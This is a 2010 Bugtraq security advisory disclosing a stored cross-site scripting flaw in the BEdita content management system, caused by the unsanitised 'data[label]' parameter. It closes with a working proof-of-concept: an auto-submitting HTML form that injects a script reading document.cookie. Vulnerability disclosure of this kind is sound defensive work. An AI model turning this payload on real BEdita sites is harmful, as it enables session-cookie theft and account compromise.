bugtraq - Stored Cross Site Scripting vulnerability in BEdita

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Message-Id: <201012151921.oBFJLloH057558@htbridge.ch>
Date: Wed, 15 Dec 2010 20:21:47 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: Stored Cross Site Scripting vulnerability in BEdita

Vulnerability ID: HTB22728
Reference: http://www.htbridge.ch/advisory/stored_cross_site_scripting_vulnerability_in_bedita.html
Product: BEdita
Vendor: Chialab &amp; ChannelWeb ( http://www.bedita.com/ ) 
Vulnerable Version: 3.0.1.2550 &quot;betula&quot; and probably prior versions
Vendor Notification: 30 November 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "bedita-app/controllers/modules/news_controller.php" script to properly sanitize user-supplied input in "data[label]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/bedita-app/news/saveCategories" method="post" name="main">
<input type="hidden" name="data[label]" value='cat"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[status]" value="on">
<input type="hidden" name="data[area_id]" value="">
<input type="hidden" name="data[object_type_id]" value="18">
</form>
<script>
document.main.submit();
</script>